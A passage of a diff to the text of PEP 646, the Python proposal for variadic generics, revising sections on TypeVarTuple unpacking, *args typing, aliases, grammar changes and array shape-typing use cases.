for an arbitrary number of types (zero or -more) in a flat ordered list. +In the same way that a normal type variable is a stand-in for a single +type such as ``int``, a type variable *tuple* is a stand-in for a *tuple* type such as +``Tuple[int, str]``. Type variable tuples are created with: @@ -149,6 +179,9 @@ Type variable tuples are created with: Ts = TypeVarTuple('Ts') +Using Type Variable Tuples in Generic Classes +''''''''''''''''''''''''''''''''''''''''''''' + Type variable tuples behave like a number of individual type variables packed in a ``Tuple``. To understand this, consider the following example: @@ -164,7 +197,7 @@ Type variable tuples behave like a number of individual type variables packed in The ``Shape`` type variable tuple here behaves like ``Tuple[T1, T2]``, where ``T1`` and ``T2`` are type variables. To use these type variables -as type parameters of ``Array``, we must **unpack** the type variable tuple using +as type parameters of ``Array``, we must *unpack* the type variable tuple using the star operator: ``*Shape``. The signature of ``Array`` then behaves as if we had simply written ``class Array(Generic[T1, T2]): ...``. @@ -181,6 +214,9 @@ and so on: y: Array[Batch, Height, Width] = Array() z: Array[Time, Batch, Height, Width] = Array() +Using Type Variable Tuples in Functions +''''''''''''''''''''''''''''''''''''''' + Type variable tuples can be used anywhere a normal ``TypeVar`` can. This includes class definitions, as shown above, as well as function signatures and variable annotations: @@ -213,8 +249,8 @@ This is, in fact, deliberately not possible: type variable tuples must for two reasons: * To avoid potential confusion about whether to use a type variable tuple - in a packed or unpacked form ("Hmm, should I do ``-> Shape``, - or ``-> Tuple[Shape]``, or ``-> Tuple[*Shape]``...?") + in a packed or unpacked form ("Hmm, should I write '``-> Shape``', + or '``-> Tuple[Shape]``', or '``-> Tuple[*Shape]``'...?") * To improve readability: the star also functions as an explicit visual indicator that the type variable tuple is not a normal type variable. @@ -224,7 +260,7 @@ for two reasons: Note that the use of the star operator in this context requires a grammar change, and is therefore available only in new versions of Python. To enable use of type variable tuples in older versions of Python, we introduce the ``Unpack`` type -operator that can be used in place of the star operator to unpack type variable tuples: +operator that can be used in place of the star operator: :: @@ -244,74 +280,7 @@ To keep this PEP minimal, ``TypeVarTuple`` does not yet support specification of * Type bounds (``TypeVar('T', bound=ParentClass)``) We leave the decision of how these arguments should behave to a future PEP, when variadic generics have been tested in the field. As of this PEP, type variable tuples are -**invariant**. - -Behaviour when Type Parameters are not Specified -'''''''''''''''''''''''''''''''''''''''''''''''' - -When a generic class parameterised by a type variable tuple is used without -any type parameters, it behaves as if its type parameters are ``Any, ...`` -(an arbitrary number of ``Any``): - -:: - - def takes_any_array(arr: Array): ... - - x: Array[Height, Width] - takes_any_array(x) # Valid - y: Array[Time, Height, Width] - takes_any_array(y) # Also valid - -This enables gradual typing: existing functions accepting, for example, -a plain ``tf.Tensor`` will still be valid even if called with -a parameterised ``Tensor[Height, Width]``. - -This also works in the opposite direction: - -:: - - def takes_specific_array(arr: Array[Height, Width]): ... - - z: Array - takes_specific_array(z) - -Thereby even if libraries are updated to use types like ``Array[Height, Width]``, -users of those libraries won't be forced to also apply type annotations to -all of their code; users still have a choice about what parts of their code -to type and which parts to not. - -Type Variable Tuples Must Have Known Length -''''''''''''''''''''''''''''''''''''''''''' - -Type variables tuples may not be bound to a type with unknown length. -That is: - -:: - - def foo(x: Tuple[*Ts]): ... - - x: Tuple[float, ...] - foo(x) # NOT valid; Ts would be bound to ``Tuple[float, ...]`` - -If this is confusing - didn't we say that type variable tuples are a stand-in -for an *arbitrary* number of types? - note the difference between the -length of the type variable tuple *itself*, and the length of the type it is -*bound* to. Type variable tuples themselves can be of arbitrary length - -that is, they can be bound to ``Tuple[int]``, ``Tuple[int, int]``, and -so on - but the types they are bound to must be of known length - -that is, ``Tuple[int, int]``, but not ``Tuple[int, ...]``. - -Note that, as a result of this rule, omitting the type parameter list is the -*only* way of instantiating a generic type with an arbitrary number of -type parameters. For example, ``Array`` may *behave* like ``Array[Any, ...]``, -but it cannot be instantiated using ``Array[Any, ...]``, because this would -bind its type variable tuple to ``Tuple[Any, ...]``: - -:: - - x: Array # Valid - y: Array[int, ...] # Error - z: Array[Any, ...] # Error +invariant. Type Variable Tuple Equality '''''''''''''''''''''''''''' @@ -356,6 +325,11 @@ As of this PEP, only a single type variable tuple may appear in a type parameter class Array(Generic[*Ts1, *Ts2]): ... # Error +The reason is that multiple type variable tuples make it ambiguous +which parameters get bound to which type variable tuple: :: + + x: Array[int, str, bool] # Ts1 = ???, Ts2 = ??? + Type Concatenation ------------------ @@ -370,13 +344,15 @@ prefixed and/or suffixed: def add_batch_axis(x: Array[*Shape]) -> Array[Batch, *Shape]: ... def del_batch_axis(x: Array[Batch, *Shape]) -> Array[*Shape]: ... - def add_batch_channels(x: Array[*Shape]) -> Array[Batch, *Shape, Channels]: ... + def add_batch_channels( + x: Array[*Shape] + ) -> Array[Batch, *Shape, Channels]: ... a: Array[Height, Width] b = add_batch_axis(a) # Inferred type is Array[Batch, Height, Width] c = del_batch_axis(b) # Array[Height, Width] d = add_batch_channels(a) # Array[Batch, Height, Width, Channels] - + Normal ``TypeVar`` instances can also be prefixed and/or suffixed: @@ -393,10 +369,106 @@ Normal ``TypeVar`` instances can also be prefixed and/or suffixed: z = prefix_tuple(x=0, y=(True, 'a')) # Inferred type of z is Tuple[int, bool, str] +Unpacking Tuple Types +--------------------- + +We mentioned that a ``TypeVarTuple`` stands for a tuple of types. +Since we can unpack a ``TypeVarTuple``, for consistency, we also +allow unpacking a tuple type. As we shall see, this also enables a +number of interesting features. + + +Unpacking Concrete Tuple Types +'''''''''''''''''''''''''''''' + +Unpacking a concrete tuple type is analogous to unpacking a tuple of +values at runtime. ``Tuple[int, *Tuple[bool, bool], str]`` is +equivalent to ``Tuple[int, bool, bool, str]``. + +Unpacking Unbounded Tuple Types +''''''''''''''''''''''''''''''' + +Unpacking an unbounded tuple preserves the unbounded tuple as it is. +That is, ``*Tuple[int, ...]`` remains ``*Tuple[int, ...]``; there's no +simpler form. This enables us to specify types such as ``Tuple[int, +*Tuple[str, ...], str]`` - a tuple type where the first element is +guaranteed to be of type ``int``, the last element is guaranteed to be +of type ``str``, and the elements in the middle are zero or more +elements of type ``str``. Note that ``Tuple[*Tuple[int, ...]]`` is +equivalent to ``Tuple[int, ...]``. + +Unpacking unbounded tuples is also useful in function signatures where +we don't care about the exact elements and don't want to define an +unnecessary ``TypeVarTuple``: + +:: + + def process_batch_channels( + x: Array[Batch, *Tuple[Any, ...], Channels] + ) -> None: + ... + + + x: Array[Batch, Height, Width, Channels] + process_batch_channels(x) # OK + y: Array[Batch, Channels] + process_batch_channels(y) # OK + z: Array[Batch] + process_batch_channels(z) # Error: Expected Channels. + + +We can also pass a ``*Tuple[int, ...]`` wherever a ``*Ts`` is +expected. This is useful when we have particularly dynamic code and +cannot state the precise number of dimensions or the precise types for +each of the dimensions. In those cases, we can smoothly fall back to +an unbounded tuple: + +:: + + y: Array[*Tuple[Any, ...]] = read_from_file() + + def expect_variadic_array( + x: Array[Batch, *Shape] + ) -> None: ... + + expect_variadic_array(y) # OK + + def expect_precise_array( + x: Array[Batch, Height, Width, Channels] + ) -> None: ... + + expect_precise_array(y) # OK + +``Array[*Tuple[Any, ...]]`` stands for an array with an arbitrary +number of dimensions of type ``Any``. This means that, in the call to +``expect_variadic_array``, ``Batch`` is bound to ``Any`` and ``Shape`` +is bound to ``Tuple[Any, ...]``. In the call to +``expect_precise_array``, the variables ``Batch``, ``Height``, +``Width``, and ``Channels`` are all bound to ``Any``. + +This allows users to handle dynamic code gracefully while still +explicitly marking the code as unsafe (by using ``y: Array[*Tuple[Any, +...]]``). Otherwise, users would face noisy errors from the type +checker every time they tried to use the variable ``y``, which would +hinder them when migrating a legacy code base to use ``TypeVarTuple``. + +Multiple Unpackings in a Tuple: Not Allowed +''''''''''''''''''''''''''''''''''''''''''' + +As with ``TypeVarTuples``, `only one `_ unpacking may appear in a tuple: + + +:: + + x: Tuple[int, *Ts, str, *Ts2] # Error + y: Tuple[int, *Tuple[int, ...], str, *Tuple[str, ...]] # Error + + ``*args`` as a Type Variable Tuple ---------------------------------- -PEP 484 states that when a type annotation is provided for ``*args``, each argument +:pep:`484` states that when a type annotation is provided for ``*args``, every argument must be of the type annotated. That is, if we specify ``*args`` to be type ``int``, then *all* arguments must be of type ``int``. This limits our ability to specify the type signatures of functions that take heterogeneous argument types. @@ -407,13 +479,60 @@ individual arguments become the types in the type variable tuple: :: Ts = TypeVarTuple('Ts') - + def args_to_tuple(*args: *Ts) -> Tuple[*Ts]: ... args_to_tuple(1, 'a') # Inferred type is Tuple[int, str] -If no arguments are passed, the type variable tuple behaves like an -empty tuple, ``Tuple[()]``. +In the above example, ``Ts`` is bound to ``Tuple[int, str]``. If no +arguments are passed, the type variable tuple behaves like an empty +tuple, ``Tuple[()]``. + +As usual, we can unpack any tuple types. For example, by using a type +variable tuple inside a tuple of other types, we can refer to prefixes +or suffixes of the variadic argument list. For example: + +:: + + # os.execle takes arguments 'path, arg0, arg1, ..., env' + def execle(path: str, *args: *Tuple[*Ts, Env]) -> None: ... + +Note that this is different to + +:: + + def execle(path: str, *args: *Ts, env: Env) -> None: ... + +as this would make ``env`` a keyword-only argument. + +Using an unpacked unbounded tuple is equivalent to the +:pep:`484#arbitrary-argument-lists-and-default-argument-values` +behavior of ``*args: int``, which accepts zero or +more values of type ``int``: + +:: + + def foo(*args: *Tuple[int, ...]) -> None: ... + + # equivalent to: + def foo(*args: int) -> None: ... + +Unpacking tuple types also allows more precise types for heterogeneous +``*args``. The following function expects an ``int`` at the beginning, +zero or more ``str`` values, and a ``str`` at the end: + +:: + + def foo(*args: *Tuple[int, *Tuple[str, ...], str]) -> None: ... + +For completeness, we mention that unpacking a concrete tuple allows us +to specify ``*args`` of a fixed number of heterogeneous types: + +:: + + def foo(*args: *Tuple[int, str]) -> None: ... + + foo(1, "hello") # OK Note that, in keeping with the rule that type variable tuples must always be used unpacked, annotating ``*args`` as being a plain type variable tuple @@ -436,17 +555,6 @@ all arguments must be a ``Tuple`` parameterised with the same types. foo((0,), (1, 2)) # Error foo((0,), ('1',)) # Error -Following `Type Variable Tuples Must Have Known Length`_, note -that the following should *not* type-check as valid (even though it is, of -course, valid at runtime): - -:: - - def foo(*args: *Ts): ... - - def bar(x: Tuple[int, ...]): - foo(*x) # NOT valid - Finally, note that a type variable tuple may *not* be used as the type of ``**kwargs``. (We do not yet know of a use case for this feature, so we prefer to leave the ground fresh for a potential future PEP.) @@ -467,47 +575,80 @@ Type variable tuples can also be used in the arguments section of a class Process: def __init__( self, - target: Callable[[*Ts], Any], - args: Tuple[*Ts] - ): ... + target: Callable[[*Ts], None], + args: Tuple[*Ts], + ) -> None: ... + + def func(arg1: int, arg2: str) -> None: ... - def func(arg1: int, arg2: str): ... - Process(target=func, args=(0, 'foo')) # Valid Process(target=func, args=('foo', 0)) # Error -However, note that as of this PEP, if a type variable tuple does appear in -the arguments section of a ``Callable``, it must appear alone. -That is, `Type Concatenation`_ is not supported in the context of ``Callable``. -(Use cases where this might otherwise be desirable are likely covered through use -of either a ``ParamSpec`` from PEP 612, or a type variable tuple in the ``__call__`` -signature of a callback protocol from PEP 544.) +Other types and normal type variables can also be prefixed/suffixed +to the type variable tuple: -Type Variable Tuples with ``Union`` ------------------------------------ +:: + + T = TypeVar('T') + + def foo(f: Callable[[int, *Ts, T], Tuple[T, *Ts]]): ... + +The behavior of a Callable containing an unpacked item, whether the +item is a ``TypeVarTuple`` or a tuple type, is to treat the elements +as if they were the type for ``*args``. So, ``Callable[[*Ts], None]`` +is treated as the type of the function: + +:: + + def foo(*args: *Ts) -> None: ... + +``Callable[[int, *Ts, T], Tuple[T, *Ts]]`` is treated as the type of +the function: -Type variable tuples can also be used with ``Union``: +:: + + def foo(*args: *Tuple[int, *Ts, T]) -> Tuple[T, *Ts]: ... + +Behaviour when Type Parameters are not Specified +------------------------------------------------ + +When a generic class parameterised by a type variable tuple is used without +any type parameters, it behaves as if the type variable tuple was +substituted with ``Tuple[Any, ...]``: :: - - def f(*args: *Ts) -> Union[*Ts]: - return random.choice(args) - f(1, 'foo') # Inferred type is Union[int, str] + def takes_any_array(arr: Array): ... + + # equivalent to: + def takes_any_array(arr: Array[*Tuple[Any, ...]]): ... + + x: Array[Height, Width] + takes_any_array(x) # Valid + y: Array[Time, Height, Width] + takes_any_array(y) # Also valid -Here, if the type variable tuple is empty (e.g. if we had ``*args: *Ts`` -and didn't pass any arguments), the type checker should -raise an error on the ``Union`` (matching the behaviour of ``Union`` -at runtime, which requires at least one type argument). +This enables gradual typing: existing functions accepting, for example, +a plain TensorFlow ``Tensor`` will still be valid even if ``Tensor`` is made +generic and calling code passes a ``Tensor[Height, Width]``. -Other types can also be included in the ``Union``: +This also works in the opposite direction: :: - def f(*args :*Ts) -> Union[int, str, *Ts]: ... + def takes_specific_array(arr: Array[Height, Width]): ... + + z: Array + # equivalent to Array[*Tuple[Any, ...]] + + takes_specific_array(z) -However, note that as elsewhere, only a single type variable tuple -may occur within a ``Union``. +(For details, see the section on `Unpacking Unbounded Tuple Types`_.) + +This way, even if libraries are updated to use types like ``Array[Height, Width]``, +users of those libraries won't be forced to also apply type annotations to +all of their code; users still have a choice about what parts of their code +to type and which parts to not. Aliases ------- @@ -518,18 +659,53 @@ a similar way to regular type variables: :: IntTuple = Tuple[int, *Ts] + NamedArray = Tuple[str, Array[*Ts]] + IntTuple[float, bool] # Equivalent to Tuple[int, float, bool] + NamedArray[Height] # Equivalent to Tuple[str, Array[Height]] As this example shows, all type parameters passed to the alias are -bound to the type variable tuple. If no type parameters are given, -or if an explicitly empty list of type parameters are given, -type variable tuple in the alias is simply ignored: +bound to the type variable tuple. + +Importantly for our original ``Array`` example (see `Summary Examples`_), this +allows us to define convenience aliases for arrays of a fixed shape +or datatype: + +:: + + Shape = TypeVarTuple('Shape') + DType = TypeVar('DType') + class Array(Generic[DType, *Shape]): + + # E.g. Float32Array[Height, Width, Channels] + Float32Array = Array[np.float32, *Shape] + + # E.g. Array1D[np.uint8] + Array1D = Array[DType, Any] + +If an explicitly empty type parameter list is given, the type variable +tuple in the alias is set empty: + +:: + + IntTuple[()] # Equivalent to Tuple[int] + NamedArray[()] # Equivalent to Tuple[str, Array[()]] + +If the type parameter list is omitted entirely, the unspecified type +variable tuples are treated as ``Tuple[Any, ...]`` (similar to +`Behaviour when Type Parameters are not Specified`_): :: - # Both equivalent to Tuple[int] - IntTuple - IntTuple[()] + def takes_float_array_of_any_shape(x: Float32Array): ... + x: Float32Array[Height, Width] = Array() + takes_float_array_of_any_shape(x) # Valid + + def takes_float_array_with_specific_shape( + y: Float32Array[Height, Width] + ): ... + y: Float32Array = Array() + takes_float_array_with_specific_shape(y) # Valid Normal ``TypeVar`` instances can also be used in such aliases: @@ -538,17 +714,18 @@ Normal ``TypeVar`` instances can also be used in such aliases: T = TypeVar('T') Foo = Tuple[T, *Ts] - # T is bound to `int`; Ts is bound to `bool, str` - Foo[int, bool, str] - -Note that the same rules for `Type Concatenation`_ apply for aliases. -In particular, only one ``TypeVarTuple`` may occur within an alias, -and the ``TypeVarTuple`` must be at the end of the alias. + # T bound to str, Ts to Tuple[int] + Foo[str, int] + # T bound to float, Ts to Tuple[()] + Foo[float] + # T bound to Any, Ts to an Tuple[Any, ...] + Foo Overloads for Accessing Individual Types ---------------------------------------- -For situations where we require access to each individual type, overloads can be used with individual ``TypeVar`` instances in place of the type variable tuple: +For situations where we require access to each individual type in the type variable tuple, +overloads can be used with individual ``TypeVar`` instances in place of the type variable tuple: :: @@ -572,61 +749,26 @@ For situations where we require access to each individual type, overloads can be (For array shape operations in particular, having to specify overloads for each possible rank is, of course, a rather cumbersome solution. However, it's the best we can do without additional type -manipulation mechanisms, which are beyond the scope of this PEP.) - -An Ideal Array Type: One Possible Example -========================================= - -Type variable tuples allow us to make significant progress on the -typing of arrays. However, the array class we have sketched -out in this PEP is still missing some desirable features. [#typing-ideas]_ - -The most crucial feature missing is the ability to specify -the data type (e.g. ``np.float32`` or ``np.uint8``). This is important -because some numerical computing libraries will silently cast -types, which can easily lead to hard-to-diagnose bugs. - -Additionally, it might be useful to be able to specify the rank -instead of the full shape. This could be useful for cases where -axes don't have obvious semantic meaning like 'height' or 'width', -or where the array is very high-dimensional and writing out all -the axes would be too verbose. +manipulation mechanisms. We plan to introduce these in a future PEP.) -Here is one possible example of how these features might be implemented -in a complete array type. - -:: - - # E.g. Ndim[Literal[3]] - Integer = TypeVar('Integer') - class Ndim(Generic[Integer]): ... - - # E.g. Shape[Height, Width] - # (Where Height and Width are custom types) - Axes = TypeVarTuple('Axes') - class Shape(Generic[*Axes]): ... - - DataType = TypeVar('DataType') - ShapeType = TypeVar('ShapeType', Ndim, Shape) - - # The most verbose type - # E.g. Array[np.float32, Ndim[Literal[3]] - # Array[np.uint8, Shape[Height, Width, Channels]] - class Array(Generic[DataType, ShapeType]): ... - - # Type aliases for less verbosity - # E.g. Float32Array[Height, Width, Channels] - Float32Array = Array[np.float32, Shape[*Axes]] - # E.g. Array1D[np.uint8] - Array1D = Array[DataType, Ndim[Literal[1]]] Rationale and Rejected Ideas ============================ -Supporting Variadicity Through aliases +Shape Arithmetic +---------------- + +Considering the use case of array shapes in particular, note that as of +this PEP, it is not yet possible to describe arithmetic transformations +of array dimensions - for example, +``def repeat_each_element(x: Array[N]) -> Array[2*N]``. We consider +this out-of-scope for the current PEP, but plan to propose additional +mechanisms that *will* enable this in a future PEP. + +Supporting Variadicity Through Aliases -------------------------------------- -As noted in the introduction, it **is** possible to avoid variadic generics +As noted in the introduction, it *is* possible to avoid variadic generics by simply defining aliases for each possible number of type parameters: :: @@ -657,8 +799,8 @@ otherwise imply. Also, we may later wish to support arguments that should not be We therefore settled on ``TypeVarTuple``. -Behaviour when Type Parameters are not Specified ------------------------------------------------- +Unspecified Type Parameters: Tuple vs TypeVarTuple +-------------------------------------------------- In order to support gradual typing, this PEP states that *both* of the following examples should type-check correctly: @@ -673,7 +815,7 @@ of the following examples should type-check correctly: y: Array takes_specific_array(y) -Note that this is in contrast to the behaviour of the only existing +Note that this is in contrast to the behaviour of the only currently-existing variadic type in Python, ``Tuple``: :: @@ -710,25 +852,514 @@ in how much of their code they wish to annotate, and to enable compatibility between old unannotated code and new versions of libraries which do use these type annotations. + +Alternatives +============ + +It should be noted that the approach outlined in this PEP to solve the +issue of shape checking in numerical libraries is *not* the only approach +possible. Examples of lighter-weight alternatives based on *runtime* checking include +ShapeGuard [#shapeguard]_, tsanley [#tsanley]_, and PyContracts [#pycontracts]_. + +While these existing approaches improve significantly on the default +situation of shape checking only being possible through lengthy and verbose +assert statements, none of them enable *static* analysis of shape correctness. +As mentioned in `Motivation`_, this is particularly desirable for +machine learning applications where, due to library and infrastructure complexity, +even relatively simple programs must suffer long startup times; iterating +by running the program until it crashes, as is necessary with these +existing runtime-based approaches, can be a tedious and frustrating +experience. + +Our hope with this PEP is to begin to codify generic type annotations as +an official, language-supported way of dealing with shape correctness. +With something of a standard in place, in the long run, this will +hopefully enable a thriving ecosystem of tools for analysing and verifying +shape properties of numerical computing programs. + + +Grammar Changes +=============== + +This PEP requires two grammar changes. + +Change 1: Star Expressions in Indexes +------------------------------------- + +The first grammar change enables use of star expressions in index operations (that is, +within square brackets), necessary to support star-unpacking of TypeVarTuples: + +:: + + DType = TypeVar('DType') + Shape = TypeVarTuple('Shape') + class Array(Generic[DType, *Shape]): + ... + +Before: + +:: + + slices: + | slice !',' + | ','.slice+ [','] + +After: + +:: + + slices: + | slice !',' + | ','.(slice | starred_expression)+ [','] + +As with star-unpacking in other contexts, the star operator calls ``__iter__`` +on the callee, and adds the contents of the resulting iterator to the argument +passed to ``__getitem__``. For example, if we do ``foo[a, *b, c]``, and +``b.__iter__`` produces an iterator yielding ``d`` and ``e``, +``foo.__getitem__`` would receive ``(a, d, e, c)``. + +To put it another way, note that ``x[..., *a, ...]`` produces the same result +as ``x[(..., *a, ...)]`` (with any slices ``i:j`` in ``...`` replaced with +``slice(i, j)``, with the one edge case that ``x[*a]`` becomes ``x[(*a,)]``). + +TypeVarTuple Implementation +''''''''''''''''''''''''''' + +With this grammar change, ``TypeVarTuple`` is implemented as follows. +Note that this implementation is useful only for the benefit of a) correct +``repr()`` and b) runtime analysers; static analysers would not use the +implementation. + +:: + + class TypeVarTuple: + def __init__(self, name): + self._name = name + self._unpacked = UnpackedTypeVarTuple(name) + def __iter__(self): + yield self._unpacked + def __repr__(self): + return self._name + + class UnpackedTypeVarTuple: + def __init__(self, name): + self._name = name + def __repr__(self): + return '*' + self._name + +Implications +'''''''''''' + +This grammar change implies a number of additional changes in behaviour not +required by this PEP. We choose to allow these additional changes rather than +disallowing them at a syntax level in order to keep the syntax change as small +as possible. + +First, the grammar change enables star-unpacking of other structures, such +as lists, within indexing operations: + +:: + + idxs = (1, 2) + array_slice = array[0, *idxs, -1] # Equivalent to [0, 1, 2, -1] + array[0, *idxs, -1] = array_slice # Also allowed + +Second, more than one instance of a star-unpack can occur within an index: + +:: + + array[*idxs_to_select, *idxs_to_select] # Equivalent to array[1, 2, 1, 2] + +Note that this PEP disallows multiple unpacked TypeVarTuples within a single +type parameter list. This requirement would therefore need to be implemented +in type checking tools themselves rather than at the syntax level. + +Third, slices may co-occur with starred expressions: + +:: + + array[3:5, *idxs_to_select] # Equivalent to array[3:5, 1, 2] + +However, note that slices involving starred expressions are still invalid: + +:: + + # Syntax error + array[*idxs_start:*idxs_end] + + +Change 2: ``*args`` as a TypeVarTuple +------------------------------------- + +The second change enables use of ``*args: *Ts`` in function definitions. + +Before: + +:: + + star_etc: + | '*' param_no_default param_maybe_default* [kwds] + | '*' ',' param_maybe_default+ [kwds] + | kwds + +After: + +:: + + star_etc: + | '*' param_no_default param_maybe_default* [kwds] + | '*' param_no_default_star_annotation param_maybe_default* [kwds] # New + | '*' ',' param_maybe_default+ [kwds] + | kwds + +Where: + +:: + + param_no_default_star_annotation: + | param_star_annotation ',' TYPE_COMMENT? + | param_star_annotation TYPE_COMMENT? &')' + + param_star_annotation: NAME star_annotation + + star_annotation: ':' star_expression + +We also need to deal with the ``star_expression`` that results from this +construction. Normally, a ``star_expression`` occurs within the context +of e.g. a list, so a ``star_expression`` is handled by essentially +calling ``iter()`` on the starred object, and inserting the results +of the resulting iterator into the list at the appropriate place. For +``*args: *Ts``, however, we must process the ``star_expression`` in a +different way. + +We do this by instead making a special case for the ``star_expression`` +resulting from ``*args: *Ts``, emitting code equivalent to +``[annotation_value] = [*Ts]``. That is, we create an iterator from +``Ts`` by calling ``Ts.__iter__``, fetch a single value from the iterator, +verify that the iterator is exhausted, and set that value as the annotation +value. This results in the unpacked ``TypeVarTuple`` being set directly +as the runtime annotation for ``*args``: + +:: + + >>> Ts = TypeVarTuple('Ts') + >>> def foo(*args: *Ts): pass + >>> foo.__annotations__ + {'args': *Ts} + # *Ts is the repr() of Ts._unpacked, an instance of UnpackedTypeVarTuple + +This allows the runtime annotation to be consistent with an AST representation +that uses a ``Starred`` node for the annotations of ``args`` - in turn important +for tools that rely on the AST such as mypy to correctly recognise the construction: + +:: + + >>> print(ast.dump(ast.parse('def foo(*args: *Ts): pass'), indent=2)) + Module( + body=[ + FunctionDef( + name='foo', + args=arguments( + posonlyargs=[], + args=[], + vararg=arg( + arg='args', + annotation=Starred( + value=Name(id='Ts', ctx=Load()), + ctx=Load())), + kwonlyargs=[], + kw_defaults=[], + defaults=[]), + body=[ + Pass()], + decorator_list=[])], + type_ignores=[]) + + +Note that the only scenario in which this grammar change allows ``*Ts`` to be +used as a direct annotation (rather than being wrapped in e.g. ``Tuple[*Ts]``) +is ``*args``. Other uses are still invalid: + +:: + + x: *Ts # Syntax error + def foo(x: *Ts): pass # Syntax error + +Implications +'''''''''''' + +As with the first grammar change, this change also has a number of side effects. +In particular, the annotation of ``*args`` could be set to a starred object +other than a ``TypeVarTuple`` - for example, the following nonsensical +annotations are possible: + +:: + + >>> foo = [1] + >>> def bar(*args: *foo): pass + >>> bar.__annotations__ + {'args': 1} + + >>> foo = [1, 2] + >>> def bar(*args: *foo): pass + ValueError: too many values to unpack (expected 1) + +Again, prevention of such annotations will need to be done by, say, static +checkers, rather than at the level of syntax. + +Alternatives (Why Not Just Use ``Unpack``?) +------------------------------------------- + +If these grammar changes are considered too burdensome, there are two +alternatives. + +The first would be to **support change 1 but not change 2**. Variadic generics +are more important to us than the ability to annotate ``*args``. + +The second alternative would be to **use ``Unpack`` instead**, requiring no +grammar changes. However, we regard this as a suboptimal solution for two +reasons: + +* **Readability**. ``class Array(Generic[DType, Unpack[Shape]])`` is a bit + of a mouthful; the flow of reading is interrupted by length of ``Unpack`` and + the extra set of square brackets. ``class Array(Generic[DType, *Shape])`` + is much easier to skim, while still marking ``Shape`` as special. +* **Intuitiveness**. We think a user is more likely to intuitively understand + the meaning of ``*Ts`` - especially when they see that ``Ts`` is a + TypeVar**Tuple** - than the meaning of ``Unpack[Ts]``. (This assumes + the user is familiar with star-unpacking in other contexts; if the + user is reading or writing code that uses variadic generics, this seems + reasonable.) + +If even change 1 is thought too significant a change, therefore, it might be +better for us to reconsider our options before going ahead with this second +alternative. + Backwards Compatibility ======================= -TODO - -* ``Tuple`` needs to be upgraded to support parameterization with a - type variable tuple. +The ``Unpack`` version of the PEP should be back-portable to previous +versions of Python. +Gradual typing is enabled by the fact that unparameterised variadic classes +are compatible with an arbitrary number of type parameters. This means +that if existing classes are made generic, a) all existing (unparameterised) +uses of the class will still work, and b) parameterised and unparameterised +versions of the class can be used together (relevant if, for example, library +code is updated to use parameters while user code is not, or vice-versa). Reference Implementation ======================== -Two reference implementations exist: one in Pyre, as of TODO, and one in -Pyright, as of v1.1.108. +Two reference implementations of type-checking functionality exist: +one in Pyre, as of v0.9.0, and one in Pyright, as of v1.1.108. + +A preliminary implementation of the ``Unpack`` version of the PEP in CPython +is available in `cpython/23527`_. A preliminary version of the version +using the star operator, based on an early implementation of :pep:`637`, +is also available at `mrahtz/cpython/pep637+646`_. + +Appendix A: Shape Typing Use Cases +================================== + +To give this PEP additional context for those particularly interested in the +array typing use case, in this appendix we expand on the different ways +this PEP can be used for specifying shape-based subtypes. + +Use Case 1: Specifying Shape Values +----------------------------------- + +The simplest way to parameterise array types is using ``Literal`` +type parameters - e.g. ``Array[Literal[64], Literal[64]]``. + +We can attach names to each parameter using normal type variables: + +:: + + K = TypeVar('K') + N = TypeVar('N') + + def matrix_vector_multiply(x: Array[K, N], Array[N]) -> Array[K]: ... + + a: Array[Literal[64], Literal[32]] + b: Array[Literal[32]] + matrix_vector_multiply(a, b) + # Result is Array[Literal[64]] + +Note that such names have a purely local scope. That is, the name +``K`` is bound to ``Literal[64]`` only within ``matrix_vector_multiply``. To put it another +way, there's no relationship between the value of ``K`` in different +signatures. This is important: it would be inconvenient if every axis named ``K`` +were constrained to have the same value throughout the entire program. + +The disadvantage of this approach is that we have no ability to enforce shape semantics across +different calls. For example, we can't address the problem mentioned in `Motivation`_: if +one function returns an array with leading dimensions 'Time × Batch', and another function +takes the same array assuming leading dimensions 'Batch × Time', we have no way of detecting this. + +The main advantage is that in some cases, axis sizes really are what we care about. This is true +for both simple linear algebra operations such as the matrix manipulations above, but also in more +complicated transformations such as convolutional layers in neural networks, where it would be of +great utility to the programmer to be able to inspect the array size after each layer using +static analysis. To aid this, in the future we would like to explore possibilities for additional +type operators that enable arithmetic on array shapes - for example: + +:: + + def repeat_each_element(x: Array[N]) -> Array[Mul[2, N]]: ... + +Such arithmetic type operators would only make sense if names such as ``N`` refer to axis size. + +Use Case 2: Specifying Shape Semantics +-------------------------------------- + +A second approach (the one that most of the examples in this PEP are based around) +is to forgo annotation with actual axis size, and instead annotate axis *type*. + +This would enable us to solve the problem of enforcing shape properties across calls. +For example: + +:: + + # lib.py + + class Batch: pass + class Time: pass + + def make_array() -> Array[Batch, Time]: ... + + # user.py + + from lib import Batch, Time + + # `Batch` and `Time` have the same identity as in `lib`, + # so must take array as produced by `lib.make_array` + def use_array(x: Array[Batch, Time]): ... + +Note that in this case, names are *global* (to the extent that we use the +same ``Batch`` type in different place). However, because names refer only +to axis *types*, this doesn't constrain the *value* of certain axes to be +the same through (that is, this doesn't constrain all axes named ``Height`` +to have a value of, say, 480 throughout). + +The argument *for* this approach is that in many cases, axis *type* is the more +important thing to verify; we care more about which axis is which than what the +specific size of each axis is. + +It also does not preclude cases where we wish to describe shape transformations +without knowing the type ahead of time. For example, we can still write: + +:: + + K = TypeVar('K') + N = TypeVar('N') + + def matrix_vector_multiply(x: Array[K, N], Array[N]) -> Array[K]: ... + +We can then use this with: + +:: + + class Batch: pass + class Values: pass + + batch_of_values: Array[Batch, Values] + value_weights: Array[Values] + matrix_vector_multiply(batch_of_values, value_weights) + # Result is Array[Batch] + +The disadvantages are the inverse of the advantages from use case 1. +In particular, this approach does not lend itself well to arithmetic +on axis types: ``Mul[2, Batch]`` would be as meaningless as ``2 * int``. + +Discussion +---------- + +Note that use cases 1 and 2 are mutually exclusive in user code. Users +can verify size or semantic type but not both. + +As of this PEP, we are agnostic about which approach will provide most benefit. +Since the features introduced in this PEP are compatible with both approaches, however, +we leave the door open. + +Why Not Both? +------------- + +Consider the following 'normal' code: + +:: + + def f(x: int): ... + +Note that we have symbols for both the value of the thing (``x``) and the type of +the thing (``int``). Why can't we do the same with axes? For example, with an imaginary +syntax, we could write: + +:: + + def f(array: Array[TimeValue: TimeType]): ... + +This would allow us to access the axis size (say, 32) through the symbol ``TimeValue`` +*and* the type through the symbol ``TypeType``. + +This might even be possible using existing syntax, through a second level of parameterisation: + +:: + + def f(array: array[TimeValue[TimeType]]): .. + +However, we leave exploration of this approach to the future. + +Appendix B: Shaped Types vs Named Axes +====================================== + +An issue related to those addressed by this PEP concerns +axis *selection*. For example, if we have an image stored in an array of shape 64×64x3, +we might wish to convert to 